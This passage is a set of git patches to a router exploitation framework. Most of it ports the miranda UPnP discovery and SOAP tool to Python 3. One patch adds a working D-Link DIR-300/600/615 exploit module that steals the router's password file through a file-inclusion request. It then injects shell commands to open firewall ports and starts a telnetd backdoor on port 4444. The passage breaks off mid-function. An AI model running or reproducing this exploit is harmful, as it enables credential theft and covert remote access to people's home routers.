From afc95f8f0e821ee433937ddb1b62eec276bd563d Mon Sep 17 00:00:00 2001 From: j91321 Date: Sun, 7 Aug 2016 00:29:44 +0200 Subject: [PATCH 01/14] Started miranda refactoring and integration as upnp_console --- core/Upnp.py | 319 +++++++++++++++++++++++++++ modules/misc/generic/upnp_console.py | 124 +++++++++++ 2 files changed, 443 insertions(+) create mode 100644 core/Upnp.py create mode 100644 modules/misc/generic/upnp_console.py diff --git a/core/Upnp.py b/core/Upnp.py new file mode 100644 index 0000000..e27b5be --- /dev/null +++ b/core/Upnp.py @@ -0,0 +1,319 @@ +# This file is part of REXT +# core.Upnp.py - super class for UPNP scripts +# Author: Ján Trenčanský +# Original: Craig Heffner +# Disclaimer: most of the code is ported to python 3 from his awesome miranda-upnp tool +# his tool has only one disadvantage, very bad UI in my opinion +# https://code.google.com/archive/p/mirandaupnptool/ +# License: GNU GPL v3 + +import cmd +import socket +import struct +import select +import requests +import time +import traceback + +import core.globals +import interface.utils +from interface.messages import print_error, print_help, print_info, print_warning, print_red, print_blue + + +class Upnp(cmd.Cmd): + host = "239.255.255.250" # Should be modifiable + port = 1900 # and this + msearchHeaders = {'MAN': '"ssdp:discover"', 'MX': '2'} + upnp_version = '1.0' + max_recv = 8192 + max_hosts = 0 + timeout = 0 # and this + http_headers = [] + enum_hosts = {} + verbose = False # and this + uniq = True # and this + log_file = False # and this + batch_file = None # and this + interface = None # and this + csock = False + ssock = False + mreq = None + + def __init__(self): + cmd.Cmd.__init__(self) + interface.utils.change_prompt(self, core.globals.active_module_path + core.globals.active_script) + self.initialize_sockets() + self.cmdloop() + + def initialize_sockets(self): + try: + # This is needed to join a multicast group + self.mreq = struct.pack("4sl", socket.inet_aton(self.host), socket.INADDR_ANY) + # Set up client socket + self.csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + self.csock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2) + # Set up server socket + self.ssock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) + self.ssock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + # BSD systems also need to set SO_REUSEPORT + try: + self.ssock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) + except Exception: + pass + + # Only bind to this interface + if self.interface is not None: + print_info("Binding to interface: " + self.interface) + self.ssock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, + struct.pack("%ds" % (len(self.interface) + 1,), self.interface)) + self.csock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, + struct.pack("%ds" % (len(self.interface) + 1,), self.interface)) + + try: + self.ssock.bind(('', self.port)) + except Exception: + print_warning("failed to bind: " + self.host + ":" + str(self.port) + " ") + try: + self.ssock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, self.mreq) + except Exception: + print_warning("failed to join multicast group") + except Exception: + print_error("failed to initialize UPNP sockets") + return False + return True + + # Clean up file/socket descriptors + def cleanup(self): + self.csock.close() + self.ssock.close() + + # Send network data + def send(self, data, socket): + # By default, use the client socket that's part of this class + if not socket: + socket = self.csock + try: + socket.sendto(bytes(data, 'UTF-8'), (self.host, self.port)) + return True + except Exception as e: + print_error("send method failed for " + self.host + ":" + str(self.port)) + print(e) + return False + + # Receive network data + def recieve(self, size, socket): + if not socket: + socket = self.ssock + + if self.timeout: + socket.setblocking(0) + ready = select.select([socket], [], [], self.timeout)[0] + else: + socket.setblocking(1) + ready = True + try: + if ready: + return socket.recv(size) + else: + return False + except: + return False + + # Create new UDP socket on ip, bound to port + def create_new_listener(self, ip, port): + try: + newsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) + newsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + # BSD systems also need to set SO_REUSEPORT + try: + newsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) + except: + pass + newsock.bind((ip, port)) + return newsock + except Exception: + return False + + # Return the class's primary server socket + def listener(self): + return self.ssock + + # Return the class's primary client socket + def sender(self): + return self.csock + + # Parse a URL, return the host and the page + def parse_url(self, url): + delim = '://' + host = False + page = False + + # Split the host and page + try: + (host, page) = url.split(delim)[1].split('/', 1) + page = '/' + page + except: + # If '://' is not in the url, then it's not a full URL, so assume that it's just a relative path + page = url + + return host, page + + # Pull the header info for the specified HTTP header - case insensitive + def parse_header(self, data, header): + delimiter = "%s:" % header + lowerdelim = delimiter.lower() + dataarray = data.split("\r\n") + + # Loop through each line of the headers + for line in dataarray: + lowerline = line.lower() + # Does this line start with the header we're looking for? + if lowerline.startswith(lowerdelim): + try: + return line.split(':', 1)[1].strip() + except: + print_error("parsing header data failed for: " + header) + + # Parses SSDP notify and reply packets, and populates the ENUM_HOSTS dict + def parseSSDPInfo(self, data, showUniq, verbose): + data = data.decode('utf-8') # When Ctl-C is pressed data is set to False and exception should be raised + host_found = False + found_location = False + message_type = None + xml_file = None + host = False + page = False + upnp_type = None + known_headers = {'NOTIFY': 'notification', 'HTTP/1.1 200 OK': 'reply'} + + # Use the class defaults if these aren't specified + if not showUniq: + showUniq = self.uniq + if not verbose: + verbose = self.verbose + + # Is the SSDP packet a notification, a reply, or neither? + for text, message_type in known_headers.items(): + if data.upper().startswith(text): + break + else: + message_type = False + + # If this is a notification or a reply message... + if message_type: + # Get the host name and location of its main UPNP XML file + xml_file = self.parse_header(data, "LOCATION") + upnp_type = self.parse_header(data, "SERVER") + (host, page) = self.parse_url(xml_file) + + # Sanity check to make sure we got all the info we need + if xml_file is None or host == False or page == False: + print_error("parsing recieved header:") + print_red(data) + return False + + # Get the protocol in use (i.e., http, https, etc) + protocol = xml_file.split('://')[0] + '://' + + # Check if we've seen this host before; add to the list of hosts if: + # 1. This is a new host + # 2. We've already seen this host, but the uniq hosts setting is disabled + for hostID, hostInfo in self.enum_hosts.items(): + if hostInfo['name'] == host: + host_found = True + if self.uniq: + return False + + if (host_found and not self.uniq) or not host_found: + # Get the new host's index number and create an entry in ENUM_HOSTS + index = len(self.enum_hosts) + self.enum_hosts[index] = { + 'name': host, + 'dataComplete': False, + 'proto': protocol, + 'xml_file': xml_file, + 'serverType': None, + 'upnpServer': upnp_type, + 'deviceList': {} + } + # Be sure to update the command completer so we can tab complete through this host's data structure + # self.updateCmdCompleter(self.ENUM_HOSTS) + + # Print out some basic device info + print_blue("SSDP " + message_type + " message from " + host) + + if xml_file: + found_location = True + print_blue("XML file is located at " + xml_file) + + if upnp_type: + print_blue("Device is running: " + upnp_type) + + return True + + # Send GET request for a UPNP XML file + def get_xml(self, url): + headers = {'USER-AGENT': 'uPNP/' + self.upnp_version, + 'CONTENT-TYPE': 'text/xml; charset="utf-8"'} + + try: + # Use urllib2 for the request, it's awesome + #req = urllib.Request(url, None, headers) # This is GET + #response = urllib.urlopen(req) + response = requests.get(url, headers=headers, timeout=60) + output = response.text + headers = response.headers + return headers, output + except Exception: + print("Request for '%s' failed" % url) + return False, False + + def do_exit(self, e): + return True + + def do_run(self, e): + self.cleanup() + pass + + def do_set(self, e): + args = e.split(' ') + try: + if args[0] == "host": + if interface.utils.validate_ipv4(args[1]): + self.host = args[1] + else: + print_error("please provide valid IPv4 address") + elif args[0] == "port": + if str.isdigit(args[1]): + self.port = args[1] + else: + print_error("port value must be integer") + except IndexError: + print_error("please specify value for variable") + + def do_info(self, e): + print(self.__doc__) + + def do_host(self, e): + print(self.host) + + def do_port(self, e): + print(str(self.port)) + + def help_exit(self): + print_help("Exit script") + + def help_run(self): + print_help("Run script") + + def help_host(self): + print_help("Prints current value of host") + + def help_port(self): + print_help("Prints current value of port") + + def help_set(self): + print_help("Set value of variable: \"set host 192.168.1.1\"") + + def help_info(self, e): + print_help("Show info about loaded module") diff --git a/modules/misc/generic/upnp_console.py b/modules/misc/generic/upnp_console.py new file mode 100644 index 0000000..c90e938 --- /dev/null +++ b/modules/misc/generic/upnp_console.py @@ -0,0 +1,124 @@ +# Name:UPNP console +# File:upnp_console.py +# Author:Ján Trenčanský +# License: GNU GPL v3 +# Created: 30.07.2016 +# Last modified: 30.07.2016 +# Description: miranda-upnp.py + +import core.Upnp +import core.io +import time +import traceback + +from interface.messages import print_red, print_error, print_yellow, print_blue + + +class Upnp(core.Upnp.Upnp): + """ +UPNP console + """ + + def __init__(self): + core.Upnp.Upnp.__init__(self) + + def do_msearch(self, e): + defaultST = "upnp:rootdevice" + st = "schemas-upnp-org" + myip = '' + lport = self.port + + # if argc >= 3: + # if argc == 4: + # st = argv[1] + # searchType = argv[2] + # searchName = argv[3] + # else: + # searchType = argv[1] + # searchName = argv[2] + # st = "urn:%s:%s:%s:%s" % (st,searchType,searchName,hp.UPNP_VERSION.split('.')[0]) + # else: + st = defaultST + + # Build the request + request = "M-SEARCH * HTTP/1.1\r\n" \ + "HOST:%s:%d\r\n" \ + "ST:%s\r\n" % (self.host, self.port, st) + for header, value in self.msearchHeaders.items(): + request += header + ':' + value + "\r\n" + request += "\r\n" + + print("Entering discovery mode for '%s', Ctl+C to stop..." % st) + + # Have to create a new socket since replies will be sent directly to our IP, not the multicast IP + server = self.create_new_listener(myip, lport) + if not server: + print('Failed to bind port %d' % lport) + return + + self.send(request, server) + count = 0 + start = time.time() + + while True: + try: + if 0 < self.max_hosts <= count: + break + + if 0 < self.timeout < (time.time() - start): + raise Exception("Timeout exceeded") + + if self.parseSSDPInfo(self.recieve(1024, server), False, False): + count += 1 + + except AttributeError: # On Ctrl-C parseSSDPInfo raises AttributeError exception + print('\nDiscover mode halted...') + break + + def get_host_info(self, host_info, index): + + if host_info is not None: + # If this host data is already complete, just display it + if host_info['dataComplete']: + print_yellow('Data for this host has already been enumerated!') + return + try: + # Get extended device and service information + if host_info: + print_blue("Requesting device and service info for " + + host_info['name'] + " (this could take a few seconds)...") + if not host_info['dataComplete']: + (xmlHeaders, xmlData) = self.get_xml(host_info['xml_file']) + print(xmlHeaders) + print(xmlData) + if not xmlData: + print_red('Failed to request host XML file:' + host_info['xmlFile']) + return + #if self.getHostInfo(xmlData, xmlHeaders, index) == False: + # print_error("Failed to get device/service info for " + host_info['name']) + # return + print('Host data enumeration complete!') + #hp.updateCmdCompleter(hp.ENUM_HOSTS) + return + except KeyboardInterrupt: + return + + def do_device(self, e): # This was originally host command but since REXT uses host on something else... + host_info = None + args = e.split(' ') + if args[0] == "get": + if len(args) != 2: + print_red("Invalid number of arguments") + return + try: + index = int(args[1]) + host_info = self.enum_hosts[index] + except Exception: + print_error("Second argument is not a number") + return + self.get_host_info(host_info, index) + + + + +Upnp() From 4237e54d6561bba3a0e9c12da976a52355664d9f Mon Sep 17 00:00:00 2001 From: j91321 Date: Sun, 7 Aug 2016 15:20:34 +0200 Subject: [PATCH 02/14] upnp_console device get and device details converted from miranda --- core/Upnp.py | 324 ++++++++++++++++++++++ modules/exploits/dlink/dir300_600_info.py | 119 ++++++++ modules/misc/generic/upnp_console.py | 27 +- 3 files changed, 465 insertions(+), 5 deletions(-) create mode 100644 modules/exploits/dlink/dir300_600_info.py diff --git a/core/Upnp.py b/core/Upnp.py index e27b5be..9592f06 100644 --- a/core/Upnp.py +++ b/core/Upnp.py @@ -12,8 +12,10 @@ import struct import select import requests +import xml.dom.minidom import time import traceback +import sys import core.globals import interface.utils @@ -268,6 +270,328 @@ def get_xml(self, url): print("Request for '%s' failed" % url) return False, False + #Pull the name of the device type from a device type string + #The device type string looks like: 'urn:schemas-upnp-org:device:WANDevice:1' + def parseDeviceTypeName(self,string): + delim1 = 'device:' + delim2 = ':' + + if delim1 in string and not string.endswith(delim1): + return string.split(delim1)[1].split(delim2,1)[0] + return False + + #Pull the name of the service type from a service type string + #The service type string looks like: 'urn:schemas-upnp-org:service:Layer3Forwarding:1' + def parseServiceTypeName(self,string): + delim1 = 'service:' + delim2 = ':' + + if delim1 in string and not string.endswith(delim1): + return string.split(delim1)[1].split(delim2,1)[0] + return False + + #Get info about a service's state variables + def parseServiceStateVars(self,xmlRoot,servicePointer): + + na = 'N/A' + varVals = ['sendEvents','dataType','defaultValue','allowedValues'] + serviceStateTable = 'serviceStateTable' + stateVariable = 'stateVariable' + nameTag = 'name' + dataType = 'dataType' + sendEvents = 'sendEvents' + allowedValueList = 'allowedValueList' + allowedValue = 'allowedValue' + allowedValueRange = 'allowedValueRange' + minimum = 'minimum' + maximum = 'maximum' + + #Create the serviceStateVariables entry for this service in ENUM_HOSTS + servicePointer['serviceStateVariables'] = {} + + #Get a list of all state variables associated with this service + try: + stateVars = xmlRoot.getElementsByTagName(serviceStateTable)[0].getElementsByTagName(stateVariable) + except: + #Don't necessarily want to throw an error here, as there may be no service state variables + return False + + #Loop through all state variables + for var in stateVars: + for tag in varVals: + #Get variable name + try: + varName = str(var.getElementsByTagName(nameTag)[0].childNodes[0].data) + except: + print('Failed to get service state variable name for service %s!' % servicePointer['fullName']) + continue + + servicePointer['serviceStateVariables'][varName] = {} + try: + servicePointer['serviceStateVariables'][varName]['dataType'] = str(var.getElementsByTagName(dataType)[0].childNodes[0].data) + except: + servicePointer['serviceStateVariables'][varName]['dataType'] = na + try: + servicePointer['serviceStateVariables'][varName]['sendEvents'] = str(var.getElementsByTagName(sendEvents)[0].childNodes[0].data) + except: + servicePointer['serviceStateVariables'][varName]['sendEvents'] = na + + servicePointer['serviceStateVariables'][varName][allowedValueList] = [] + + #Get a list of allowed values for this variable + try: + vals = var.getElementsByTagName(allowedValueList)[0].getElementsByTagName(allowedValue) + except: + pass + else: + #Add the list of allowed values to the ENUM_HOSTS dictionary + for val in vals: + servicePointer['serviceStateVariables'][varName][allowedValueList].append(str(val.childNodes[0].data)) + + #Get allowed value range for this variable + try: + valList = var.getElementsByTagName(allowedValueRange)[0] + except: + pass + else: + #Add the max and min values to the ENUM_HOSTS dictionary + servicePointer['serviceStateVariables'][varName][allowedValueRange] = [] + try: + servicePointer['serviceStateVariables'][varName][allowedValueRange].append(str(valList.getElementsByTagName(minimum)[0].childNodes[0].data)) + servicePointer['serviceStateVariables'][varName][allowedValueRange].append(str(valList.getElementsByTagName(maximum)[0].childNodes[0].data)) + except: + pass + return True + + #Parse details about each service (arguements, variables, etc) + def parseServiceInfo(self,service,index): + argIndex = 0 + argTags = ['direction','relatedStateVariable'] + actionList = 'actionList' + actionTag = 'action' + nameTag = 'name' + argumentList = 'argumentList' + argumentTag = 'argument' + + #Get the full path to the service's XML file + xmlFile = self.enum_hosts[index]['proto'] + self.enum_hosts[index]['name'] + if not xmlFile.endswith('/') and not service['SCPDURL'].startswith('/'): + try: + xmlServiceFile = self.enum_hosts[index]['xml_file'] + slashIndex = xmlServiceFile.rfind('/') + xmlFile = xmlServiceFile[:slashIndex] + '/' + except: + xmlFile += '/' + + if self.enum_hosts[index]['proto'] in service['SCPDURL']: + xmlFile = service['SCPDURL'] + else: + xmlFile += service['SCPDURL'] + service['actions'] = {} + + #Get the XML file that describes this service + (xmlHeaders,xmlData) = self.get_xml(xmlFile) + if not xmlData: + print('Failed to retrieve service descriptor located at:',xmlFile) + return False + + try: + xmlRoot = xml.dom.minidom.parseString(xmlData) + + #Get a list of actions for this service + try: + actionList = xmlRoot.getElementsByTagName(actionList)[0] + except: + print('Failed to retrieve action list for service %s!' % service['fullName']) + return False + actions = actionList.getElementsByTagName(actionTag) + if actions == []: + return False + + #Parse all actions in the service's action list + for action in actions: + #Get the action's name + try: + actionName = str(action.getElementsByTagName(nameTag)[0].childNodes[0].data).strip() + except: + print('Failed to obtain service action name (%s)!' % service['fullName']) + continue + + #Add the action to the ENUM_HOSTS dictonary + service['actions'][actionName] = {} + service['actions'][actionName]['arguments'] = {} + + #Parse all of the action's arguments + try: + argList = action.getElementsByTagName(argumentList)[0] + except: + #Some actions may take no arguments, so continue without raising an error here... + continue + + #Get all the arguments in this action's argument list + arguments = argList.getElementsByTagName(argumentTag) + if arguments == []: + if self.verbose: + print('Action',actionName,'has no arguments!') + continue + + #Loop through the action's arguments, appending them to the ENUM_HOSTS dictionary + for argument in arguments: + try: + argName = str(argument.getElementsByTagName(nameTag)[0].childNodes[0].data) + except: + print('Failed to get argument name for',actionName) + continue + service['actions'][actionName]['arguments'][argName] = {} + + #Get each required argument tag value and add them to ENUM_HOSTS + for tag in argTags: + try: + service['actions'][actionName]['arguments'][argName][tag] = str(argument.getElementsByTagName(tag)[0].childNodes[0].data) + except: + print('Failed to find tag %s for argument %s!' % (tag,argName)) + continue + + #Parse all of the state variables for this service + self.parseServiceStateVars(xmlRoot,service) + + except Exception as e: + print('Caught exception while parsing Service info for service %s: %s' % (service['fullName'],str(e))) + return False + + return True + + #Parse the list of services specified in the XML file + def parseServiceList(self,xmlRoot,device,index): + serviceEntryPointer = False + dictName = "services" + serviceListTag = "serviceList" + serviceTag = "service" + serviceNameTag = "serviceType" + serviceTags = ["serviceId","controlURL","eventSubURL","SCPDURL"] + + try: + device[dictName] = {} + #Get a list of all services offered by this device + for service in xmlRoot.getElementsByTagName(serviceListTag)[0].getElementsByTagName(serviceTag): + #Get the full service descriptor + serviceName = str(service.getElementsByTagName(serviceNameTag)[0].childNodes[0].data) + + #Get the service name from the service descriptor string + serviceDisplayName = self.parseServiceTypeName(serviceName) + if not serviceDisplayName: + continue + + #Create new service entry for the device in ENUM_HOSTS + serviceEntryPointer = device[dictName][serviceDisplayName] = {} + serviceEntryPointer['fullName'] = serviceName + + #Get all of the required service info and add it to ENUM_HOSTS + for tag in serviceTags: + serviceEntryPointer[tag] = str(service.getElementsByTagName(tag)[0].childNodes[0].data) + + #Get specific service info about this service + self.parseServiceInfo(serviceEntryPointer,index) + except Exception as e: + print('Caught exception while parsing device service list:', e) + + # Parse device info from the retrieved XML file + def parseDeviceInfo(self, xmlRoot,index): + deviceEntryPointer = False + devTag = "device" + deviceType = "deviceType" + deviceListEntries = "deviceList" + deviceTags = ["friendlyName","modelDescription","modelName","modelNumber","modelURL","presentationURL","UDN","UPC","manufacturer","manufacturerURL"] + + #Find all device entries listed in the XML file + for device in xmlRoot.getElementsByTagName(devTag): + try: + #Get the deviceType string + deviceTypeName = str(device.getElementsByTagName(deviceType)[0].childNodes[0].data) + except: + continue + + #Pull out the action device name from the deviceType string + deviceDisplayName = self.parseDeviceTypeName(deviceTypeName) + if not deviceDisplayName: + continue + + #Create a new device entry for this host in the ENUM_HOSTS structure + deviceEntryPointer = self.enum_hosts[index][deviceListEntries][deviceDisplayName] = {} + deviceEntryPointer['fullName'] = deviceTypeName + + #Parse out all the device tags for that device + for tag in deviceTags: + try: + deviceEntryPointer[tag] = str(device.getElementsByTagName(tag)[0].childNodes[0].data) + except Exception as e: + if self.verbose: + print('Device',deviceEntryPointer['fullName'],'does not have a', tag) + continue + #Get a list of all services for this device listing + self.parseServiceList(device,deviceEntryPointer,index) + + return + +#Display all info for a given host + def showCompleteHostInfo(self,index,fp): + na = 'N/A' + serviceKeys = ['controlURL','eventSubURL','serviceId','SCPDURL','fullName'] + if fp == False: + fp = sys.stdout + + if index < 0 or index >= len(self.enum_hosts): + fp.write('Specified host does not exist...\n') + return + try: + hostInfo = self.enum_hosts[index] + if hostInfo['dataComplete'] == False: + print("Cannot show all host info because I don't have it all yet. Try running 'host info %d' first...\n" % index) + fp.write('Host name: %s\n' % hostInfo['name']) + fp.write('UPNP XML File: %s\n\n' % hostInfo['xml_file']) + + fp.write('\nDevice information:\n') + for deviceName,deviceStruct in hostInfo['deviceList'].items(): + fp.write('\tDevice Name: %s\n' % deviceName) + for serviceName,serviceStruct in deviceStruct['services'].items(): + fp.write('\t\tService Name: %s\n' % serviceName) + for key in serviceKeys: + fp.write('\t\t\t%s: %s\n' % (key,serviceStruct[key])) + fp.write('\t\t\tServiceActions:\n') + for actionName,actionStruct in serviceStruct['actions'].items(): + fp.write('\t\t\t\t%s\n' % actionName) + for argName,argStruct in actionStruct['arguments'].items(): + fp.write('\t\t\t\t\t%s \n' % argName) + for key,val in argStruct.items(): + if key == 'relatedStateVariable': + fp.write('\t\t\t\t\t\t%s:\n' % val) + for k,v in serviceStruct['serviceStateVariables'][val].items(): + fp.write('\t\t\t\t\t\t\t%s: %s\n' % (k,v)) + else: + fp.write('\t\t\t\t\t\t%s: %s\n' % (key,val)) + + except Exception as e: + print('Caught exception while showing host info:') + traceback.print_stack(e) + + # Wrapper function... + def getHostInfo(self, xmlData, xmlHeaders, index): + if self.enum_hosts[index]['dataComplete']: + return + + if 0 <= index < len(self.enum_hosts): + try: + xmlRoot = xml.dom.minidom.parseString(xmlData) + self.parseDeviceInfo(xmlRoot, index) + #self.enum_hosts[index]['serverType'] = xmlHeaders.getheader('Server') + self.enum_hosts[index]['serverType'] = xmlHeaders['Server'] + self.enum_hosts[index]['dataComplete'] = True + return True + except Exception as e: + print('Caught exception while getting host info:') + traceback.print_stack(e) + return False + def do_exit(self, e): return True diff --git a/modules/exploits/dlink/dir300_600_info.py b/modules/exploits/dlink/dir300_600_info.py new file mode 100644 index 0000000..d46aea7 --- /dev/null +++ b/modules/exploits/dlink/dir300_600_info.py @@ -0,0 +1,119 @@ +# Name:D-link DIR-300 DIR-600 and DIR-615 information disclosure +# File:dir300_600_info.py +# Author:Ján Trenčanský +# License: GNU GPL v3 +# Created: 18.07.2016 +# Last modified: 18.07.2016 +# Shodan Dork: +# Description: Information disclosure on DIR-300, DIR-600 and DIR-615(4.0) +# Based on: http://seclists.org/bugtraq/2013/Dec/11 + +import core.Exploit +import core.io + +import requests +import re +import urllib.parse +import urllib.request +import urllib.error +from collections import OrderedDict +from interface.messages import print_error, print_yellow, print_success, print_help, print_green + + +class Exploit(core.Exploit.RextExploit): + """ +Name:D-link DIR-300 DIR-600 and DIR-615 information disclosure +File:dir300_600_info.py +Author:Ján Trenčanský +License: GNU GPL v3 +Created: 18.07.2016 +Description: Information disclosure on DIR-300, DIR-600 and DIR-615(4.0) +Based on: http://seclists.org/bugtraq/2013/Dec/11 + +Options: + Name Description + + host Target host address + port Target port + """ + password = "" + + def __init__(self): + core.Exploit.RextExploit.__init__(self) + + def do_run(self, e): + url = "http://%s:%s/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd" % (self.host, self.port) + + proxies = { + "http": "http://127.0.0.1:8080", + "https": "http://127.0.0.1:8080", + } + try: + print_yellow("Sending exploit") + response = requests.get(url, timeout=60) + if response.status_code == 200 and "
" in response.text: + print_success("credentials fetched") + credentials = re.findall("
\n\t\t\t(.*)", response.text) + print_green(credentials[0]) + print_yellow("Changing iptables") + url = "http://%s:%s/tools_system.xgi?" % (self.host, self.port) + + data = OrderedDict([('random_num', '2011.9.22.13.59.33'), + ('exeshell', '../../../../usr/sbin/iptables -t nat -A PRE_MISC -i eth0.2 -p tcp --dport 4444 -j ACCEPT'), + ('set/runtime/syslog/sendmail', 1)]) + query = urllib.parse.urlencode(data) + query = query.replace('%2F', '/') + query = query.replace('+', ' ') + query = query.replace('%20', ' ') + query = query.replace('%3D', '=') + query = query.replace('%3A', ':') + print(query) + full_url = url + query + headers = {'Accept': '*/*'} + try: + req = urllib.request.Request(full_url, headers=headers) + data = urllib.request.urlopen(req) + except urllib.error.HTTPError as e: + print(e) + + data = OrderedDict([('random_num', '2011.9.22.13.59.33'), + ('exeshell', '../../../../usr/sbin/iptables -t nat -A PRE_MISC -i eth0.2 -p tcp --dport 31337 -j ACCEPT'), + ('set/runtime/syslog/sendmail', 1)]) + query = urllib.parse.urlencode(data) + query = query.replace('%2F', '/') + query = query.replace('+', ' ') + query = query.replace('%20', ' ') + query = query.replace('%3D', '=') + query = query.replace('%3A', ':') + print(query) + full_url = url + query + try: + data = urllib.request.urlopen(full_url) + except urllib.error.HTTPError as e: + print(e) + + + print_yellow("Starting telnetd") + data = OrderedDict([('random_num', '2011.9.22.13.59.33'), + ('exeshell', '../../../../usr/sbin/telnetd -p 4444 -l /usr/sbin/login -u hacked:me'), + ('set/runtime/syslog/sendmail', 1)]) + query = urllib.parse.urlencode(data) + query = query.replace('%2F', '/') + query = query.replace('+', ' ') + query = query.replace('%20', ' ') + query = query.replace('%3D', '=') + query = query.replace('%3A', ':') + print(query) + full_url = url + query + try: + data = urllib.request.urlopen(full_url) + except urllib.error.HTTPError as e: + print(e) + print_green("With a little luck telnetd is running on 4444") + else: + print_error("exploit failed") + except requests.Timeout: + print_error("timeout") + except requests.ConnectionError: + print_error("exploit failed") +Exploit() diff --git a/modules/misc/generic/upnp_console.py b/modules/misc/generic/upnp_console.py index c90e938..13ba3ce 100644 --- a/modules/misc/generic/upnp_console.py +++ b/modules/misc/generic/upnp_console.py @@ -89,14 +89,14 @@ def get_host_info(self, host_info, index): host_info['name'] + " (this could take a few seconds)...") if not host_info['dataComplete']: (xmlHeaders, xmlData) = self.get_xml(host_info['xml_file']) - print(xmlHeaders) - print(xmlData) + #print(xmlHeaders) + #print(xmlData) if not xmlData: print_red('Failed to request host XML file:' + host_info['xmlFile']) return - #if self.getHostInfo(xmlData, xmlHeaders, index) == False: - # print_error("Failed to get device/service info for " + host_info['name']) - # return + if self.getHostInfo(xmlData, xmlHeaders, index) == False: + print_error("Failed to get device/service info for " + host_info['name']) + return print('Host data enumeration complete!') #hp.updateCmdCompleter(hp.ENUM_HOSTS) return @@ -117,6 +117,23 @@ def do_device(self, e): # This was originally host command but since REXT uses print_error("Second argument is not a number") return self.get_host_info(host_info, index) + elif args[0] == "details": + try: + index = int(args[1]) + hostInfo = self.enum_hosts[index] + except Exception as e: + print("Index error") + return + + try: + #If this host data is already complete, just display it + if hostInfo['dataComplete'] == True: + self.showCompleteHostInfo(index,False) + else: + print("Can't show host info because I don't have it. Please run 'host get %d'" % index) + except KeyboardInterrupt as e: + pass + return From fe11407354c614744667c47135722743f3fb7842 Mon Sep 17 00:00:00 2001 From: j91321 Date: Sun, 21 Aug 2016 00:35:00 +0200 Subject: [PATCH 03/14] upnp_console most important method converted to python3 --- core/Upnp.py | 3 + modules/misc/generic/upnp_console.py | 339 +++++++++++++++++++++++++-- 2 files changed, 319 insertions(+), 23 deletions(-) diff --git a/core/Upnp.py b/core/Upnp.py index 9592f06..b144a75 100644 --- a/core/Upnp.py +++ b/core/Upnp.py @@ -14,6 +14,7 @@ import requests import xml.dom.minidom import time +import re import traceback import sys @@ -40,10 +41,12 @@ class Upnp(cmd.Cmd): csock = False ssock = False mreq = None + soapEnd = None def __init__(self): cmd.Cmd.__init__(self) interface.utils.change_prompt(self, core.globals.active_module_path + core.globals.active_script) + self.soapEnd = re.compile('<\/.*:envelope>') self.initialize_sockets() self.cmdloop() diff --git a/modules/misc/generic/upnp_console.py b/modules/misc/generic/upnp_console.py index 13ba3ce..a1112f2 100644 --- a/modules/misc/generic/upnp_console.py +++ b/modules/misc/generic/upnp_console.py @@ -9,6 +9,9 @@ import core.Upnp import core.io import time +import base64 +import socket +import re import traceback from interface.messages import print_red, print_error, print_yellow, print_blue @@ -22,6 +25,7 @@ class Upnp(core.Upnp.Upnp): def __init__(self): core.Upnp.Upnp.__init__(self) + def do_msearch(self, e): defaultST = "upnp:rootdevice" st = "schemas-upnp-org" @@ -85,24 +89,146 @@ def get_host_info(self, host_info, index): try: # Get extended device and service information if host_info: - print_blue("Requesting device and service info for " + - host_info['name'] + " (this could take a few seconds)...") - if not host_info['dataComplete']: - (xmlHeaders, xmlData) = self.get_xml(host_info['xml_file']) - #print(xmlHeaders) - #print(xmlData) - if not xmlData: - print_red('Failed to request host XML file:' + host_info['xmlFile']) - return - if self.getHostInfo(xmlData, xmlHeaders, index) == False: - print_error("Failed to get device/service info for " + host_info['name']) - return - print('Host data enumeration complete!') - #hp.updateCmdCompleter(hp.ENUM_HOSTS) + print_blue("Requesting device and service info for " + + host_info['name'] + " (this could take a few seconds)...") + if not host_info['dataComplete']: + (xmlHeaders, xmlData) = self.get_xml(host_info['xml_file']) + # print(xmlHeaders) + # print(xmlData) + if not xmlData: + print_red('Failed to request host XML file:' + host_info['xml_file']) + return + if self.getHostInfo(xmlData, xmlHeaders, index) == False: + print_error("Failed to get device/service info for " + host_info['name']) return + print('Host data enumeration complete!') + # hp.updateCmdCompleter(hp.ENUM_HOSTS) + return except KeyboardInterrupt: return + def getUserInput(self, shellPrompt): + defaultShellPrompt = 'upnp> ' + + if shellPrompt == False: + shellPrompt = defaultShellPrompt + + try: + uInput = input(shellPrompt).strip() + argv = uInput.split() + argc = len(argv) + except KeyboardInterrupt as e: + print('\n') + return 0, None + return argc, argv + + # Send SOAP request + def sendSOAP(self, hostName, serviceType, controlURL, actionName, actionArguments): + argList = '' + soapResponse = '' + + if '://' in controlURL: + urlArray = controlURL.split('/', 3) + if len(urlArray) < 4: + controlURL = '/' + else: + controlURL = '/' + urlArray[3] + + soapRequest = 'POST %s HTTP/1.1\r\n' % controlURL + + # Check if a port number was specified in the host name; default is port 80 + if ':' in hostName: + hostNameArray = hostName.split(':') + host = hostNameArray[0] + try: + port = int(hostNameArray[1]) + except: + print('Invalid port specified for host connection:', hostName[1]) + return False + else: + host = hostName + port = 80 + + # Create a string containing all of the SOAP action's arguments and values + for arg, (val, dt) in actionArguments.items(): + argList += '<%s>%s' % (arg, val, arg) + + # Create the SOAP request + soapBody = '\n' \ + '\n' \ + '\n' \ + '\t\n' \ + '%s\n' \ + '\t\n' \ + '\n' \ + '' % (actionName, serviceType, argList, actionName) + + # Specify the headers to send with the request + headers = { + 'Host': hostName, + 'Content-Length': len(soapBody), + 'Content-Type': 'text/xml', + 'SOAPAction': '"%s#%s"' % (serviceType, actionName) + } + + # Generate the final payload + for head, value in headers.items(): + soapRequest += '%s: %s\r\n' % (head, value) + soapRequest += '\r\n%s' % soapBody + + # Send data and go into recieve loop + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + 